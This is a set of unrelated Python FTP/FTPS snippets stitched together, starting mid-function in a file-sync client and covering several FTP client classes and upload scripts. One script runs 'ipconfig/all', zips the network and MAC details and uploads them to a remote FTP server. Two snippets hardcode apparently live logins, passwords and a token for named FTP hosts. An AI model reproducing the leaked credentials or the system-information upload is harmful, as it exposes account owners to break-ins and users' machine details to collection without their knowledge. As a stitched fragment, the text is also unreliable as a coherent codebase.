-Watcher.TOLERANCE: self.fileChanged.emit(ServerWatcher.LOCATION, serverpath, False) #END FOR self.textStatus.emit('Remote scan- Finding next folder...') dir_ready = True for dir_ in dir_subdirs: # `dirpath` is the absolute path of the subdirectory on the server, dirpath = QDir.fromNativeSeparators(os.path.join(downloading_dir, dir_)) # `downloading_dir` is ready only when all its subdirectory are on the # `checked_dirs` list. if dirpath not in checked_dirs: # Found one subdirectory that is not on `checked_dirs`, # will process it in the next iteration. downloading_dir = dirpath dir_ready = False break if dir_ready is True: # All subdirectories of `downloading_dir` are already in `checked_dirs` if downloading_dir == '/': # All directories ready and at '/', means checkout is complete # So, exit the main While loop!! break else: # Not at '/'. Current directory is ready so is appended to `checked_dirs` # Back one directory to find directories that are not in `checked_dirs` checked_dirs.append(downloading_dir) downloading_dir = os.path.dirname(downloading_dir) self.textStatus.emit('Remote scan- Found Folder...') ##### END OF WHILE ################ ################################################################### # Deleted files are the ones whose `last_checked_server` attribute # didn't get updated in the recursive run. session = Session() deleted = session.query(File).filter(File.last_checked_server < check_date).filter(File.inserver == True) for file_ in deleted: self.fileDeleted.emit(ServerWatcher.LOCATION, file_.path) # Wraps up the checkout process, commits to the database. session.commit() @Slot() def onLogin(self, username, passwd): ok = True msg = '' error_msg = 'Login failed.' try: if not self.ftp: self.ftp = FTP_TLS(self.host) if self.useSSL is True else FTP(self.host) loginResponse = self.ftp.login(username, passwd) except socket.gaierror: self.ftp = None ok = False msg = 'Server address could not be found.' except (error_perm, error_reply): info = traceback.format_exception(*sys.exc_info()) for i in info: sys.stderr.write(i) ok = False msg = error_msg else: if '230' in loginResponse: ok = True else: ok = False msg = error_msg if ok: # Logged in. Now let's do compability tests. if not self.testPermissions(): # User doesn't have write permissions, don't bother doing next test. ok = False msg = 'It seems like you do not have write access to this server.' else: # Permissions test passed, now let's test MFMT for timestamp modification. if not self.testMFMT(): ok = False msg = 'This server does not support timestamp modification\n \ need by this application.' self.loginCompleted.emit(ok, msg) def getFiles(self, path): """ This method simply wraps the `nlst` method with an exception handler, and returns an empty list in case an exception is caught. :param path: Relative or absolute path on the server """ try: nlst = self.ftp.nlst(path) dirs = self.getDirs(path) # Files are items in nlst that are not in dirs files = [item for item in nlst if os.path.basename(item) not in dirs] return files except: print 'Exception in ServerWatcher.getDirs' info = traceback.format_exception(*sys.exc_info()) for i in info: sys.stderr.write(i) return [] def getDirs(self, path): """ Retrieves a list of the directories inside `path`, uses `retrlines` and the LIST command to retrieve the items. :param path: Relative or absolute path on the server """ dirs = list() def handleLine(line): """ Recieves a line from the LIST command. This function is meant to be used as callback for the `retrlines` method. :params line: Line from the LIST command """ if line.startswith('d'): # Only lines starting with 'd' are directories # Parse the directory out of the line; lines look like: # 'drwxrwxrwx 1 user group 0 Jun 15 2012 dirname' dirname = line[55:].strip() if dirname != '.' and dirname != '..': # Ignoring '.' and '..' entries dirs.append(dirname) try: self.ftp.retrlines('LIST %s' % path, handleLine) return dirs except: print 'Exception in ServerWatcher.getDirs' info = traceback.format_exception(*sys.exc_info()) for i in info: sys.stderr.write(i) return [] @upload_test def testPermissions(self): # For interface purposes. upload_test takes care of everything. return True @upload_test def testMFMT(self): # Absurd date to test whether the change really happened. time = dt.utcfromtimestamp(100000000) try: self.setLastModified(self.testFile, time) otherTime = self.lastModified(self.testFile) diff = (time - otherTime).total_seconds() if abs(diff) < 2: # Let's give it a 2 seconds tolerance. mdtm = True else: mdtm = False except (ValueError, error_reply, error_perm): info = traceback.format_exception(*sys.exc_info()) for i in info: sys.stderr.write(i) mdtm = False return mdtm @Slot(str) def onDelete(self, filename): self.deleteQueue.append(filename) def deleteNext(self): if len(self.deleteQueue) > 0: next = self.deleteQueue.pop(0) self.deleteFile(next) def deleteAll(self): for filename in self.deleteQueue: self.deleteFile(filename) self.deleteQueue = [] @Slot(str) def deleteFile(self, filename): """ Deletes the file `filename` to the server :param filename: Absolute or relative path to the file """ try: print 'Deleting %s' % filename self.ftp.delete(filename) return True except (error_reply, error_perm): print 'Error deleting %s' % filename return False self.fileEventCompleted.emit() @Slot(str) def onDownload(self, filename): self.downloadQueue.append(filename) def downloadNext(self): if len(self.downloadQueue) > 0: next = self.downloadQueue.pop(0) self.downloadFile(next) def downloadAll(self): for filename in self.downloadQueue: self.downloadFile(filename) self.downloadQueue = [] @Slot(str, str) def downloadFile(self, filename, localpath=None): """ Performs a binary download to the file `filename` located on the server. `filename` parameter can be either absolute or relative, though it can fail for relative paths if the current directory is not appropiate. :param filename: Relative or absolute path to the file :param localpath: Absolute local path where the file will be saved """ def handleChunk(chunk): """ Receives chuncks of data downloaded from the server. This function is meant to be used as callback for the `retrbinary` method. :params chunk: Chunk of downloaded bytes to be written into the file """ # Simply writes the received data into the file `self.downloading` self.downloading.write(chunk) self.download_progress += len(chunk) self.downloadProgress.emit(self.download_size, self.download_progress) if localpath is None: localpath = self.localFromServer(filename) localdir = os.path.dirname(localpath) if not os.path.exists(localdir): # Creates the directory if it doesn't already exists. os.makedirs(localdir) print 'Downloading: %s to %s' % (filename, localpath) try: with open(localpath, 'wb') as f: # Opens the file at `localname` which will hold the downloaded file. # Object attributes regarding download status are updated accordingly. self.fileEvent.emit(filename) self.downloading = f self.download_progress = 0 self.download_size = int(self.ftp.sendcmd('SIZE %s' % filename).split(' ')[-1]) self.ftp.retrbinary('RETR %s' % filename, handleChunk) print 'Download finished' # Let's set the same modified time to that on the server. with File.fromPath(filename) as downloadedfile: mdate = LocalWatcher.lastModified(localpath) downloadedfile.localmdate = mdate downloadedfile.servermdate = mdate self.setLastModified(filename, mdate) downloaded = True except (IOError, OSError): downloaded = False self.ioError.emit(localpath) except (error_reply, error_perm) as ftperr: print 'Error downloading %s, %s' % (filename, ftperr) downloaded = False # TODO: Sometimes the file doesn't complete properly. # in that case we maybe shouldn't call this? self.fileEventCompleted.emit() return downloaded @Slot(str) def onUpload(self, filename): self.uploadQueue.append(filename) def uploadNext(self): if len(self.uploadQueue) > 0: next = self.uploadQueue.pop(0) self.uploadFile(next) def uploadAll(self): for filename in self.uploadQueue: self.uploadFile(filename) self.uploadQueue = [] @Slot(str) def uploadFile(self, filename): """ Uploads the file `filename` to the server, creating the needed directories. :param filename: Absolute or relative path to the file """ def handle(buf): """This function is meant to be used as callback for the `storbinary` method.""" self.upload_progress += 1024 self.uploadProgress.emit(self.upload_size, self.upload_progress) # Creates the directory where the file will be uploaded to self.mkpath(os.path.dirname(filename)) localpath = self.localFromServer(filename) print 'Uploading %s to %s' % (localpath, filename) try: # Uploads file and updates its modified date in the server # to match the date in the local filesystem. self.upload_progress = 0 self.upload_size = os.path.getsize(localpath) self.fileEvent.emit(localpath) self.ftp.storbinary('STOR %s' % filename, open(localpath, 'rb'), 1024, handle) print 'Upload finished' with File.fromPath(filename) as uploaded: modified = uploaded.localmdate uploaded.servermdate = modified self.setLastModified(filename, modified) uploaded = True except (IOError, OSError): uploaded = False self.ioError.emit(localpath) except (error_reply, error_perm, OSError) as err: print 'Error uploading %s, %s' % (filename, err) uploaded = False # TODO: Sometimes the file doesn't complete properly. # in that case we maybe shouldn't call this? self.fileEventCompleted.emit() return uploaded def lastModified(self, filename): """ Uses the MDTM FTP command to find the last modified timestamp of the file `filename`. Returns a `datetime.datetime` object in UTC representing the file's last modified date and time. :param filename: Relative or absolute path to the file """ timestamp = self.ftp.sendcmd('MDTM %s' % filename) if '213 ' not in timestamp: # Second chance was found to be needed in some cases. timestamp = self.ftp.sendcmd('MDTM %s' % filename) timestamp = timestamp.split(' ')[-1] dateformat = '%Y%m%d%H%M%S.%f' if '.' in timestamp else '%Y%m%d%H%M%S' try: mtime = dt.strptime(timestamp, dateformat) except ValueError: mtime = dt.utcnow() return mtime def setLastModified(self, serverpath, newtime): """ Uses the MFMT or MDTM FTP commands to set `newtime` as the modified timestamp of the file `serverpath` on the server. :param serverpath: Relative or absolute path to the file :param newtime: datedatime object holding the required time """ cmds = ['MFMT', 'MDTM'] for cmd in cmds: try: self.ftp.sendcmd( '%s %s %s' % (cmd, newtime.strftime('%Y%m%d%H%M%S'), serverpath)) return except (error_perm, error_reply) as e: if cmd == cmds[len(cmds) - 1]: # If is the last comand, re-raise the exception, else # keep trying. raise e else: continue def mkpath(self, path): """ Creates the path `path` on the server by recursively created folders, if needed. :param path: Absolute path on the server to be created """ try: self.ftp.cwd(path) except error_perm: # `cwd` call failed. Need to create some folders make_dir = '/' steps = path.split('/') for step in steps: if len(step) == 0: continue make_dir += '%s/' % step try: self.ftp.mkd(make_dir) except error_perm: # Probably already exists continue else: # `cwd` call succeed. No need to create # any folders self.ftp.cwd('/') return @Slot(str, str) def added(self, location, serverpath): super(ServerWatcher, self).added(location, serverpath) def actionFromPath(serverpath): f = File() fileExistsOnServer = True try: f.servermdate = self.lastModified(serverpath) except error_perm: fileExistsOnServer = False f.servermdate = 0 f.localmdate = LocalWatcher.lastModified(self.localFromServer(serverpath)) diff = f.timeDiff() action = None if abs(diff) > Watcher.TOLERANCE: if not fileExistsOnServer or diff > 0: action = FileAction(serverpath, FileAction.UPLOAD, ServerWatcher.LOCATION) else: action = FileAction(serverpath, FileAction.DOWNLOAD, LocalWatcher.LOCATION) return action if self.preemptiveCheck: if location == ServerWatcher.LOCATION: localpath = self.localFromServer(serverpath) if not os.path.exists(localpath): action = FileAction(serverpath, FileAction.DOWNLOAD, ServerWatcher.LOCATION) self.preemptiveActions.append(action) else: action = actionFromPath(serverpath) if action is not None: self.preemptiveActions.append(action) elif location == LocalWatcher.LOCATION: try: self.ftp.sendcmd('SIZE %s' % serverpath) except (error_reply, error_perm): exists = False else: exists = True if not exists: action = FileAction(serverpath, FileAction.UPLOAD, LocalWatcher.LOCATION) self.preemptiveActions.append(action) else: action = actionFromPath(serverpath) if action is not None: self.preemptiveActions.append(action) @Slot(str, str) def changed(self, location, serverpath): super(ServerWatcher, self).changed(location, serverpath) @Slot(str, str) def deleted(self, location, serverpath): super(ServerWatcher, self).deleted(location, serverpath) with File.fromPath(serverpath) as deleted: deleted.inserver = False
class FTPClient(object): """Class FTPClient """ _mh = None _client = None _secured = None _host = None _port = None _user = None _passw = None _path = None _verbose = None _is_connected = None def __init__(self, secured=False, verbose=False): """Class constructor Called when the object is initialized Args: secured (bool): secured FTP verbose (bool): verbose mode """ self._mh = MasterHead.get_head() self._secured = secured if (not self._secured): self._client = FTP() else: if (not(version_info[0] == 2 and version_info[1] == 6)): self._client = FTP_TLS() else: raise NotImplementedError( 'Secured mode is not supported for Python 2.6') self._verbose = verbose if (self._verbose): self._client.set_debuglevel(2) @property def client(self): """ FTP client property getter """ return self._client @property def secured(self): """ secured protocol mode property getter """ return self._secured @property def host(self): """ server host property getter """ return self._host @property def port(self): """ server port property getter """ return self._port @property def user(self): """ username property getter """ return self._user @property def passw(self): """ user password property getter """ return self._passw @property def path(self): """ remote path property getter """ return self._path @property def verbose(self): """ verbose mode property getter """ return self._verbose @property def is_connected(self): """ is_connected property getter """ return self._is_connected def connect(self, host, port=21, user=None, passw=None, path='/', timeout=10): """Method connects to server Args: host (str): server host port (int): server port, default protocol port user (str): username passw (str): password path (str): server path timeout (int): timeout Returns: bool: result Raises: event: ftp_before_connect event: ftp_after_connect """ try: message = '{0}/{1}@{2}:{3}{4} timeout:{5}'.format( user, passw, host, port, path, timeout) self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_connecting', message), self._mh.fromhere()) ev = event.Event( 'ftp_before_connect', host, port, user, passw, path, timeout) if (self._mh.fire_event(ev) > 0): host = ev.argv(0) port = ev.argv(1) user = ev.argv(2) passw = ev.argv(3) path = ev.argv(4) timeout = ev.argv(5) self._host = host self._port = port self._user = user self._passw = passw if (ev.will_run_default()): self._client.connect(self._host, self._port, timeout=timeout) if (self._user != None): self._client.login(self._user, self._passw) if (self._secured): self._client.prot_p() self._is_connected = True self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_connected'), self._mh.fromhere()) if (path != None): self.change_dir(path) ev = event.Event('ftp_after_connect') self._mh.fire_event(ev) return True except all_errors as ex: self._mh.demsg( 'htk_on_error', 'error: {0}'.format(ex), self._mh.fromhere()) return False def disconnect(self): """Method disconnects from server Args: none Returns: bool: result """ try: if (not self._is_connected): self._mh.demsg('htk_on_warning', self._mh._trn.msg( 'htk_ftp_not_connected'), self._mh.fromhere()) return False else: self._client.quit() self._is_connected = False self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_disconnected'), self._mh.fromhere()) return True except all_errors as ex: self._mh.demsg( 'htk_on_error', 'error: {0}'.format(ex), self._mh.fromhere()) return False def list_dir(self): """Method lists remote working directory Args: none Returns: list: names """ try: self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_list_dir', self._path), self._mh.fromhere()) if (not self._is_connected): self._mh.demsg('htk_on_warning', self._mh._trn.msg( 'htk_ftp_not_connected'), self._mh.fromhere()) return False names = self._client.nlst() if ('.' in names): names.remove('.') if ('..' in names): names.remove('..') return names except all_errors as ex: self._mh.demsg( 'htk_on_error', 'error: {0}'.format(ex), self._mh.fromhere()) return None def change_dir(self, path): """Method changes remote working directory Args: path (str): new remote path Returns: bool: result Raises: event: ftp_before_change_dir """ try: self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_change_dir', path), self._mh.fromhere()) if (not self._is_connected): self._mh.demsg('htk_on_warning', self._mh._trn.msg( 'htk_ftp_not_connected'), self._mh.fromhere()) return False ev = event.Event('ftp_before_change_dir', path) if (self._mh.fire_event(ev) > 0): path = ev.argv(0) if (ev.will_run_default()): self._client.cwd(path) self._path = self._client.pwd() self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_cur_dir', self._path), self._mh.fromhere()) return True except all_errors as ex: self._mh.demsg( 'htk_on_error', 'error: {0}'.format(ex), self._mh.fromhere()) return False def download_file(self, remote_path, local_path=None): """Method downloads file from server Args: remote_path (str): remote path local_path (str): local path, default ./filename Returns: bool: result Raises: event: ftp_before_download_file event: ftp_after_download_file """ try: self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_downloading_file', remote_path), self._mh.fromhere()) if (not self._is_connected): self._mh.demsg('htk_on_warning', self._mh._trn.msg( 'htk_ftp_not_connected'), self._mh.fromhere()) return False ev = event.Event( 'ftp_before_download_file', remote_path, local_path) if (self._mh.fire_event(ev) > 0): remote_path = ev.argv(0) local_path = ev.argv(1) if (local_path != None and not path.exists(local_path)): self._mh.demsg('htk_on_error', self._mh._trn.msg( 'htk_ftp_unknown_dir', local_path), self._mh.fromhere()) return False filename = remote_path.split('/')[-1] lpath = filename if (local_path == None) else path.join( local_path, filename) if (ev.will_run_default()): with open(lpath, 'wb') as f: self._client.retrbinary('RETR ' + remote_path, f.write) self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_file_downloaded'), self._mh.fromhere()) ev = event.Event('ftp_after_download_file') self._mh.fire_event(ev) return True except all_errors as ex: self._mh.demsg( 'htk_on_error', 'error: {0}'.format(ex), self._mh.fromhere()) if (path.exists(lpath)): remove(lpath) return False def upload_file(self, local_path, remote_path=None): """Method uploads file to server Args: local_path (str): local path remote_path (str): remote path, default ./filename Returns: bool: result Raises: event: ftp_before_upload_file event: ftp_after_upload_file """ try: self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_uploading_file', local_path), self._mh.fromhere()) if (not self._is_connected): self._mh.demsg('htk_on_warning', self._mh._trn.msg( 'htk_ftp_not_connected'), self._mh.fromhere()) return False ev = event.Event('ftp_before_upload_file', local_path, remote_path) if (self._mh.fire_event(ev) > 0): local_path = ev.argv(0) remote_path = ev.argv(1) if (not(path.exists(local_path) or path.exists(path.relpath(local_path)))): self._mh.demsg('htk_on_error', self._mh._trn.msg( 'htk_ftp_unknown_file', local_path), self._mh.fromhere()) return False filename = local_path.split('/')[-1] rpath = filename if (remote_path == None) else path.join( remote_path, filename) if (ev.will_run_default()): with open(local_path, 'rb') as f: self._client.storbinary('STOR ' + rpath, f) self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_file_uploaded'), self._mh.fromhere()) ev = event.Event('ftp_after_upload_file') self._mh.fire_event(ev) return True except all_errors as ex: self._mh.demsg( 'htk_on_error', 'error: {0}'.format(ex), self._mh.fromhere()) return False def delete_file(self, path): """Method deletes file from server Args: path (str): remote path Returns: bool: result Raises: event: ftp_before_delete_file """ try: self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_deleting_file', path), self._mh.fromhere()) if (not self._is_connected): self._mh.demsg('htk_on_warning', self._mh._trn.msg( 'htk_ftp_not_connected'), self._mh.fromhere()) return False ev = event.Event('ftp_before_delete_file', path) if (self._mh.fire_event(ev) > 0): path = ev.argv(0) if (ev.will_run_default()): self._client.delete(path) self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_file_deleted'), self._mh.fromhere()) return True except all_errors as ex: self._mh.demsg( 'htk_on_error', 'error: {0}'.format(ex), self._mh.fromhere()) return False def make_dir(self, path): """Method makes directory on server Args: path (str): remote path Returns: bool: result Raises: event: ftp_before_make_dir """ try: self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_making_dir', path), self._mh.fromhere()) if (not self._is_connected): self._mh.demsg('htk_on_warning', self._mh._trn.msg( 'htk_ftp_not_connected'), self._mh.fromhere()) return False ev = event.Event('ftp_before_make_dir', path) if (self._mh.fire_event(ev) > 0): path = ev.argv(0) if (ev.will_run_default()): self._client.mkd(path) self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_dir_made'), self._mh.fromhere()) return True except all_errors as ex: self._mh.demsg( 'htk_on_error', 'error: {0}'.format(ex), self._mh.fromhere()) return False def remove_dir(self, path): """Method removes directory from server Args: path (str): remote path Returns: bool: result Raises: event: ftp_before_remove_dir """ try: self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_removing_dir', path), self._mh.fromhere()) if (not self._is_connected): self._mh.demsg('htk_on_warning', self._mh._trn.msg( 'htk_ftp_not_connected'), self._mh.fromhere()) return False ev = event.Event('ftp_before_remove_dir', path) if (self._mh.fire_event(ev) > 0): path = ev.argv(0) if (ev.will_run_default()): self._client.rmd(path) self._mh.demsg('htk_on_debug_info', self._mh._trn.msg( 'htk_ftp_dir_removed'), self._mh.fromhere()) return True except all_errors as ex: self._mh.demsg( 'htk_on_error', 'error: {0}'.format(ex), self._mh.fromhere()) return False
import os from zipfile import ZipFile from ftplib import FTP_TLS os.system("ipconfig/all>D:\mac.txt") with ZipFile("mac archive.zip","w") as newzip: newzip.write("D:\mac.txt") #Write your servername, username and password in quotes server = '' usern = '' passwd = '' file = open("mac archive.zip","rb") ftp = FTP_TLS() ftp.set_debuglevel(2) ftp.connect(server,21) ftp.sendcmd("USER "+str(usern)) ftp.sendcmd("PASS "+str(passwd)) ftp.storbinary("STOR "+"mac archive.zip",file) ftp.close
import time import requests from ftplib import FTP_TLS host = "quandl.brickftp.com" ftps = FTP_TLS(host) ftps.prot_p() print (ftps.getwelcome()) try: print ("Logging in...") ftps.login("tricolor", "9v0$NkRUaM") file_header = "=\nnotify: [email protected]\ntoken: 9kzPsYLWsnmrZ1xTENrX\n=\n" headers = {"x-amz-acl": "bucket-owner-full-control"} for input_file in glob.iglob("*.csv"): with file(input_file, 'r') as original: data = original.read() if file_header not in data: with file(input_file, 'w') as modified: modified.write(file_header + data) file_name = input_file print "Opening file:" + file_name fp = open (file_name,'rb') ftps.storbinary('STOR ' + file_name, fp) fp.close() ftps.close() except Exception, e: #you can specify type of Exception also print str(e)
def upload(fname): ftp = FTP_TLS('ftp.servage.net', '3zesp91tTNBV8', 'sbI3cEyWY6pMy8') print('connection open. storing') ftp.storbinary('STOR '+fname, open(fname, 'rb')) print('storing complete. closing connection') ftp.quit()
class FTPES: def __init__(self, host, port=None, username=None, password=None, remote_path=None, absolute_zipfile_path=None): """ This is a helper class to manage the FTP commands from the ftplib. @param host: The host for the connection. @type host: String @param port: The post for the connection. @type port: Integer @param username: The username for the connection. Leave blank to use "anonymous". @type username: String @param password: The password for the connection. Leave empty for none. @type password: String @param remote_path: The remote path of the server in which the zip file should be uploaded. If the path does not exists, it will be created (recursive). @type remote_path: String @param absolute_zipfile_path: The absolute LOCAL filepath of the zip file. @type absolute_zipfile_path: String """ self.ftps = None self._host = host self._port = port self._username = username self._password = password self._remote_path = remote_path self._absolute_zipfile_path = absolute_zipfile_path self._bytesWritten = 0; self._totalFileSize = os.path.getsize(self._absolute_zipfile_path) self._uploadCallback = None self._currentProgress = 0 # make the remote path relative if it isnt absolute or relative yet if self._remote_path is not None and self._remote_path.startswith( '.') is False and self._remote_path.startswith('/') is False: self._remote_path = './' + self._remote_path if self._username is None: self._username = '******' if self._port is None: self._port = 22 def connect(self): """ Try to connect to the FTP server. Raise an error if something went wrong. """ try: self.ftps = FTP_TLS() self.ftps.set_pasv(True) self.ftps.connect(self._host, self._port) except socket.gaierror: raise def login(self): """ Try to login in on the FTP server. Raise an error if something went wrong. """ try: self.ftps.login(self._username, self._password) self.ftps.prot_p() except ftplib.error_perm: raise def cwd(self): """ Try to switch the working directory on the FTP server (if set in the settings). If the path does not exist, it will be created. """ if self._remote_path is not None: try: self.ftps.cwd(self._remote_path) except ftplib.error_perm: self.create_directory_tree(self._remote_path) except IOError: raise def create_directory_tree(self, current_directory): """ Helper function to create the remote path. @param current_directory: The current working directory. @type current_directory: String """ if current_directory is not "": try: self.ftps.cwd(current_directory) except ftplib.error_perm: self.create_directory_tree("/".join(current_directory.split("/")[:-1])) self.ftps.mkd(current_directory) self.ftps.cwd(current_directory) except IOError: raise def upload(self, callback=None): """ The upload function. @param callback: The callback function for the upload progress. @type callback: Function """ self._uploadCallback = callback zipfile_to_upload = open(self._absolute_zipfile_path, 'rb') zipfile_basename = os.path.basename(self._absolute_zipfile_path) self.ftps.storbinary('STOR %s' % zipfile_basename, zipfile_to_upload, 1024, self.handle_upload_state) zipfile_to_upload.close() def handle_upload_state(self, block): """ The callback function for the upload progress. @param block: The StringIO of the current upload state @type block: StringIO """ self._bytesWritten += 1024 progress = math.floor((float(self._bytesWritten) / float(self._totalFileSize)) * 100) do_update = False if progress > self._currentProgress: do_update = True self._currentProgress = progress if self._uploadCallback is not None: self._uploadCallback(progress, self, do_update) def quit(self): """ Try to quit everything and close the session. """ self.ftps.quit() @property def upload_path(self): """ Returns the upload path of the FTP server. @return: The path of the uploaded file on the FTP server. @rtype: String """ tmp_remote_path = '' if self._remote_path is not None: tmp_remote_path = self._remote_path return os.path.join(tmp_remote_path, os.path.basename(self._absolute_zipfile_path))
url_requested = request.urlopen(url) # Ubuntu #url_requested = urllib.urlopen(url) # Raspi if 200 == url_requested.code: html_content = str(url_requested.read()) # "b'" am Anfang, CR und "'" am Ende entfernen temp_clean0 = re.sub(r"b'<!DOC", "<!DOC", html_content) temp_clean1 = re.sub(r"\\n", "", temp_clean0) temp_clean2 = re.sub(r"ml>'", "ml>", temp_clean1) print(temp_clean2) datei = open(htmlfile, 'w') datei.write(temp_clean2) datei.close() # # ftp/TLS Transfer # ftps = FTP_TLS(ftpurl) ftps.login(ftpuser, ftppass) ftps.prot_p( ) # switch to secure data connection.. IMPORTANT! Otherwise, only the user and password is encrypted and not all the file data. ftps.retrlines('LIST') myfile = open(htmlfile, 'rb') ftps.storbinary("STOR test.html", myfile, blocksize=8192) ftps.close() myfile.close()
import sys,json server = json.loads(sys.argv[1]) try: if server['secure'] == True: from ftplib import FTP_TLS ftp = FTP_TLS() else: from ftplib import FTP ftp = FTP() ftp.connect(server['host'], server['port']) ftp.login(server['user'], server['pass']) try: ftp.storbinary('STOR %s' % sys.argv[2], open(sys.argv[3], 'rb')) except: strsplt = sys.argv[2][1:].split('/') strsplt = strsplt[:-1] wdir = "/"+"/".join(strsplt) ftp.mkd(wdir) ftp.storbinary('STOR %s' % sys.argv[2], open(sys.argv[3], 'rb')) ftp.quit() except: sys.exit(1)